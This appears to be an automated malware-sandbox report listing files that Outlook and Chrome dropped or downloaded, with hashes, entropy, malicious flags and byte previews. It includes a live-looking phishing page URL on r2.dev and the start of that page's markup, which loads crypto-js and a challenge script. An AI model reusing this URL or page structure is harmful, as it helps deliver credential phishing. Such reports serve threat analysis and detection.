{"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":27,"Time":"2024-10-10T16:00:07.009Z","Contract":"Office.System.Activity","Activity.CV":"JWa/uLCWpE+/euPouhpGhA.4.12","Activity.Duration":10780,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajor

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1728576006966140400_B8BF6625-96B0-4FA4-BF7A-E3E8BA1A4684.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241010T1200060754-6888.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	102400
Entropy (8bit):	4.485354933089025
Encrypted:	false
SSDEEP:	768:IsyXm+b6Vag4fodcg9ic50AKsCjvXZwCl3O5D3Pkb9/aDmLC:L4fo6g9icGAqvXRip
MD5:	A3B4E5DD7937F299E3A592C3586E3251
SHA1:	6868AD9EBBA8E665AC085FB697F603DAF842B244
SHA-256:	7DB3F6D7FA20DF8B7B080A017C81334743945ED31847E615A591D1FF7B8A5BBF
SHA-512:	9739A06F873B5EFDB1D450B25D5992FC5531E5624A21B28F14EAC7C89A6DA484491FE45921DBE3D1F740E13FE699B566B28C0E66751AA2F33A6BBA303C80E66A
Malicious:	false
Preview:	............................................................................d............3.y-...................eJ..............Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................2?..Y...........3.y-...........v.2._.O.U.T.L.O.O.K.:.1.a.e.8.:.3.3.e.3.f.6.4.4.4.b.b.1.4.7.3.1.a.0.9.2.0.b.b.a.7.c.f.3.1.3.b.d...C.:.\.U.s.e.r.s.\.t.o.r.r.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.1.0.1.0.T.1.2.0.0.0.6.0.7.5.4.-.6.8.8.8...e.t.l...........P.P............y-...................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:DdJt:pJ
MD5:	E54A09BD5017A631D129B643512F3952
SHA1:	72D1A3CCF03656085C01B234A766EEAD3FA68AEA
SHA-256:	906CFD0779A25A36E964754193FCFC2DD2A79A9F7BBC2DF423984C822DE2823F
SHA-512:	50389168D49A3C7E347F981382620B1934B7E3E660D737900F16ABCF93C05F08B7DFF8CBAE201428CA2B9835A0B1C2DFE1DBBCBCA2876C6813FA64C0C9247023
Malicious:	false
Preview:	..............................

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.6675068425831678
Encrypted:	false
SSDEEP:	12:rl3baFSxkqLKeTy2MyheC8T23BMyhe+S7wzQP9zNMyhe+S7xMyheCnAr0j:rT3mnq1Py961Ar0j
MD5:	D1EE0A584AA2FA1AFBE10DA7F1D3C24D
SHA1:	F4D2D50F73ED731E535F104F666B38A8FAD478D6
SHA-256:	0B42D8EBC6D85ADB1485BA9EB4D05BB72D60FC577D9C3B3BBA84CF306DCE74E0
SHA-512:	1FCA73A2D93CEC05CA22B94F5571630A96F9A77FA99330822BAAC5B06FD29BB0B4395C3C5BF43077C227A0360F643FEE218D8856AB4450044F8C778C70339307
Malicious:	true
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 10 15:00:16 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9942625707183224
Encrypted:	false
SSDEEP:	48:8BwWdlTm7jKuHZidAKZdA1JehwiZUklqeh5y+3:8Bw04fCy
MD5:	FAF5C3B5438289D022A444DBCEB84BB6
SHA1:	E6C7789FFFD09074B496B12E3085A1671D1B379B
SHA-256:	26BAB0951113EC7016CDB4D1087A49FC818E73983B86D707205495CA3DBE4813
SHA-512:	61C8CDED57E9AD1B32E57EEDF48FA4549145A70990EE8870B7CE03AA9CC69ECB68432F5B2D09880E947BEDBC86F9A7721CD7F7F38D1B40179D833EC9E7BF2A72
Malicious:	false
Preview:	L..................F.@.. ...$+.,........-.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IJYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VJY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VJY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VJY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VJY.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T1^......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 10 15:00:16 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.00920184562639
Encrypted:	false
SSDEEP:	48:8EwWdlTm7jKuHZidAKZdA10eh/iZUkAQkqehyy+2:8Ew04V9Qry
MD5:	0302432C272A26D424EEBE549E2483D6
SHA1:	5B43F1FAD418A7242B48728F60AAD00939F41EEA
SHA-256:	21F92C02BF0C4C1BF3CA611373CA327F1FEFFDE66114C88C5CCF33B034A4B92F
SHA-512:	C6BEE40DC24F859C44BA619E91CD9BC12824B5DE489C0D6929C60076584DFEC6013D92338EBB6265521328B3472E59F9D6396778EFA7406FE0260186F883BAAA
Malicious:	false
Preview:	L..................F.@.. ...$+.,........-.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IJYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VJY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VJY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VJY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VJY.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T1^......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.019026155129127
Encrypted:	false
SSDEEP:	48:8ewWdlTm7jjHZidAKZdA14tIeh7sFiZUkmgqeh7sUy+BX:8ew04Bn2y
MD5:	7F00CAC677F0A57D7573B2D719202E54
SHA1:	CFDAEEE6C0B4ED36CAC2AC2405708A6D3281E371
SHA-256:	DF6A6D04218CFAB41708B926ED00A4C081C3FA14E595170FDC508B42417F3049
SHA-512:	02BEC6F9B00E512C12EB2E3F4715A2F82C79042B440CA265E67768DB07B86D6B313B9E9849F47F833CF053406F0130690F3D3C64DC62A7E35531DF573FDD5509
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IJYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VJY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VJY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VJY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T1^......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 10 15:00:16 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.006908306972334
Encrypted:	false
SSDEEP:	48:8IwWdlTm7jKuHZidAKZdA1behDiZUkwqehey+R:8Iw04m8y
MD5:	001B8A1222A826B788D56C5BC3E9CD54
SHA1:	55881AF26954A279EB3C405C4E61472C95440EAA
SHA-256:	12C0F1951DE2A38A1770A5D7F119BCA7F5C990869A60527279FD139696DFF476
SHA-512:	FE5C8A96EC0432EF9FF6429C246D43C0BB043088EBC4C11F051667EB5D4B06252A131CC2019D356345BCE1E80C499E590BFED9CE21732BF795046209B50ED721
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......-.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IJYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VJY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VJY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VJY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VJY.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T1^......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 10 15:00:16 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.995144559614572
Encrypted:	false
SSDEEP:	48:84wWdlTm7jKuHZidAKZdA1VehBiZUk1W1qehYy+C:84w04G94y
MD5:	62F0B593843128C248B8DDF006625C94
SHA1:	CBCEF71793D837336AF0AAC01B20DB49409A1079
SHA-256:	2A8FC378E50A0778A66DA1BFDBE5985B4373A610DB639524E78A59CF66B52324
SHA-512:	D72CB841EF11579209DE2299BAEDDD00C7D3ACFC4211F8DAB4CA7E92D9E4EAA415474A9C154C7EECABA2809C55F22F55B2951060C9CD32F631791FAA5FBEB1DB
Malicious:	false
Preview:	L..................F.@.. ...$+.,....x...-.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IJYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VJY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VJY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VJY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VJY.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T1^......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 10 15:00:16 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.005908037075648
Encrypted:	false
SSDEEP:	48:8JwWdlTm7jKuHZidAKZdA1duT6ehOuTbbiZUk5OjqehOuTb2y+yT+:8Jw04UTTTbxWOvTb2y7T
MD5:	898A48ED168AAE9B60B94AD52CE3D57E
SHA1:	952AA0476828F9EA8FBA24FC1E9BA3287DBCFF6E
SHA-256:	6C5537BA659D0FC9792F7743DED5DEAFB24293478837B05FFF63061BC1798E6F
SHA-512:	A16280A5AD61440FE41372B380CC4E1D80488AF8D1E9E6774967E0AB5A53BC7583E857EFF055B4F6FAAD1944543103077B16109B083454BA75BD143F6FFCA2BE
Malicious:	false
Preview:	L..................F.@.. ...$+.,........-.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IJYy.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VJY......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VJY......M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VJY.............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VJY.............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T1^......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Microsoft Outlook email folder (>=2003)
Category:	dropped
Size (bytes):	271360
Entropy (8bit):	3.371952887695127
Encrypted:	false
SSDEEP:	6144:eXwCEkNCEkrCEkaCEk/BEkoCEkjXCEks37:rCEkNCEkrCEkaCEk/BEkoCEkjXCEks
MD5:	4DA903E93D52DE50DD1E52A6103FF345
SHA1:	11962E23FADF37155A32DF78041CAC926607081A
SHA-256:	4F9134E3AA1692831BFF9EFF7A25E64D662B73D32B9F19D651CB3278134B47E6
SHA-512:	842E14AA49E6BEF4CE46A0E8E2E6B9E51AA686BE1ED59B0CF9652B87F03053A95614CB1EA530A79846B08DD89E8CDF7CC189BB12426E32185370EB8BE642F510
Malicious:	true
Preview:	!BDN>r..SM......\...............A.......`................@...........@...@...................................@...........................................................................$.......D......@...............@........F......=...........................................................................................................................................................................................................................................................................................0.......%,...m.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	5.037691228510105
Encrypted:	false
SSDEEP:	3072:HkCEkNCEkrCEkaCEk/hEkoCEkjXCEkwuxqPzOAp9M:HkCEkNCEkrCEkaCEk/hEkoCEkjXCEkbR
MD5:	6ABD1928B28F37DDBF2C09F8E438B9E3
SHA1:	38EE23580F2AA95D75FC2C3245A2A1F4D33598C6
SHA-256:	F7EFC2875513EFA4F64ED45A008A6A25F9153F65EFDA2D3A20C5404CB860E8C1
SHA-512:	4EFDDB4776BDF0FA9107EA2B54D458A2DA2372E860B75D8AE1742D3FE1EB07D61ED071CC614BF825263FBEDFE0A93B7948CB14005381BA1C9F22E0974FA2B24C
Malicious:	true
Preview:	.!w.C...P............^.y-.....................#.!BDN>r..SM......\...............A.......`................@...........@...@...................................@...........................................................................$.......D......@...............@........F......=...........................................................................................................................................................................................................................................................................................0.......%,...m..^.y-........B............#.........................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3387), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	6658
Entropy (8bit):	5.572903044216642
Encrypted:	false
SSDEEP:	192:BGMSfmQRq/hNqOJo4AdNc9NIrI85RbUtdKXE:BG5Rq/hwOJo4API85R4tdcE
MD5:	58AD605F2341F533C1D838D24D68CCC1
SHA1:	F8A69AC9B38914BA783656574A7CBB5CE01DFF6A
SHA-256:	8FB34CC88442E6506A744C40D4534027986C96713D5AEC568067D540CDB9276C
SHA-512:	92F9425FC57A372E240123FCAD6F67A410C59B5628D65D78BBC9ED80EB527EE386E7D197C1EE3CEEBFD7254D427045232328DD9BDECFA75027737200D9C6649B
Malicious:	false
URL:	https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/DHDSDFcgcbTEX2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnD3x%40W8CobWfAhEktKPt3JDTKN2FpnDW8CobWkfAhEktKP_GSHDH6838JSHDJH239HNXXNHD%26JSDNNDNDBNIADK938DJJDJt3JDTKN2FpnDW8CobWfAhEktKPt3JDTKN2FpnDW.html
Preview:	<html>.. . <head>... . <meta name="viewport". content="width=device-width,..initial-scale=1.0">.... <meta. name="robots".content="noindex, ..nofollow">... .<script.. src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js">...</script>.... .<script. src="https://challenges.cloudflare.com/turnstile/v0/api.js"> . </script>... .<style>... body., html..{ ..height:. .100%;margin: 0;display: .flex;align-items:...center;justify-content: center }. @keyframes bounce. { 0% . , . 100% ,.12.5% ,. 32.5% , 76.1% .{ transform: ..translateY(0).}..22.5%. .,..86% {.. transform: .translateY(7px) . } }. .#sable .{.height: .179px;width:.130px;overflow:. hidden;margin-top: -59px;margin-left:...25px. } . @keyframes shadow-fade.{ 0%...,.. 100%. ,.21.2% .,...80% { opacity: 0. }.47% ,..70%.. { opacity:.1 .}..}.#obbligato {. width:.. 130px;margin-top: 179px . } #laborer .{ width: 130px;height:.71px;border-radius:. 0 0 .7px...7px;overflow: hidden;marg

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (486), with CRLF line terminators
Category:	dropped
Size (bytes):	6693
Entropy (8bit):	4.72822312630613
Encrypted:	false
SSDEEP:	96:D1wEFSZbIztnUtr792IjLco+NchljcVwsclDOOxY:JwEFxztUB91LBji260Y
MD5:	6160D51C0BE54D6E4A64ABA79E950CB0
SHA1:	84433268F8C7A3488EC50EEFE2B2DF07A4B8C9D3
SHA-256:	D1DB1BEBCF3FD4604E50745A639618458464EEC83E7AD780269F9106BDBC8622
SHA-512:	D1520D85A2005951E627ADDABB37CEF65244D5E4C8EF3CDFA77189398F63B9C2473E7FE194807118780CED2281EE9E5C58079DFEFD0573D3719A69AEE974FA19
Malicious:	false
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <meta name="robots" content="noarchive, nosnippet, noindex, nofollow">.. <title>Automobile History Club - sparksavvy.ru</title>.. <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">.. <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" rel="stylesheet"> ..</head>..<body>....<nav class="navbar navbar-expand-lg navbar-dark bg-dark">.. <div class="container">.. <a class="navbar-brand" href="https://sparksavvy.ru/#">.. <i class="fas fa-car"></i> Automobile History Club .. </a>.. <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">.. <span class="navbar-toggler-icon"

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47459)
Category:	dropped
Size (bytes):	47460
Entropy (8bit):	5.397735966179774
Encrypted:	false
SSDEEP:	768:mLCcfjNm527JH/2V9d7ch8QMQvjdDdSzCTLo5RP8X60Yo6z63H1KCZwinCb+I298:mxNmeJH/e9d7cqK+CT0Q6zmL8
MD5:	5D332FD1AE9FEB79A10425DFC3F84FE4
SHA1:	C7D7F9D2BF5EE08E242765803CDD3A223FE1CBFC
SHA-256:	2EA786910282DF7AE154A0011375CD1254ADBD8EF0E75EB62177ADA67DAF9611
SHA-512:	01CDAC8103290B0FC1BF9BE8EE3923BFA6B8AD7778FF6B4716E421D6BBB3382240D9316B9994D6F4EA87E67DA9791EB8E3E2A1AAF81DBD749B3C8D7778E15F20
Malicious:	false
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(p){Wt(l,o,c,h,f,"next",p)}function f(p){Wt(l,o,c,h,f,"throw",p)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
